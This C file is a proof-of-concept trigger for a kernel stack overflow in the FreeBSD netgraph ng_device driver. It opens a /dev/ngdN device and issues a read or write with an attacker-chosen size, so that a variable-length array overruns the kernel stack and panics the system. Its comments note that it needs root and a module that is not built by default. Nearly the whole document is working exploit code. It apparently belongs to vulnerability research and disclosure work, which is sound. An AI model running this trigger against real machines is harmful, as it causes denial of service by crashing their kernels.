DF-2571 / trigger.c
/* * DF-2571 trigger PoC - ng_device stack VLA overflow * * sys/netgraph/ng_device.c ngdread/ngdwrite declare: * char buffer[uio->uio_resid+1]; (ngdread, line 509) * char buffer[uio->uio_resid]; (ngdwrite, line 562) * * uio_resid is a user-controlled size_t (the count arg to read()/write()). * A VLA this large on a 16KB kernel thread stack overruns into the guard * page -> kernel panic (double fault / stack overflow). * * Usage: ./trigger /dev/ngd0 r|w <size> * r = trigger ngdread VLA, w = trigger ngdwrite VLA * * PRIVILEGE NOTE: /dev/ngdN is created by make_dev() with mode 0600 * (uid 0 gid 0), so opening it requires root. This PoC must run as root. * The module itself (ng_device.ko) is orphaned source — not built by * default; an admin must build + kldload it. See VERDICT.md. */ #include <sys/types.h> #include <sys/fcntl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { const char *dev; int fd, rw, do_read; size_t sz; char *buf; if (argc != 4) { fprintf(stderr, "usage: %s /dev/ngdN r|w <size>\n", argv[0]); return 2; } dev = argv[1]; do_read = (argv[2][0] == 'r'); sz = (size_t)strtoull(argv[3], NULL, 0); buf = malloc(sz); if (!buf) { perror("malloc"); return 1; } memset(buf, 'A', sz); fd = open(dev, do_read ? O_RDONLY : O_WRONLY); if (fd < 0) { perror("open"); free(buf); return 1; } printf("[%d] opened %s, %s size=%zu -> VLA overflow on kernel stack\n", getpid(), dev, do_read ? "read" : "write", sz); fflush(stdout); if (do_read) rw = read(fd, buf, sz); else rw = write(fd, buf, sz); /* If we get here the kernel did NOT panic. */ printf("[%d] returned %d (no panic)\n", getpid(), rw); close(fd); free(buf); return 0; } |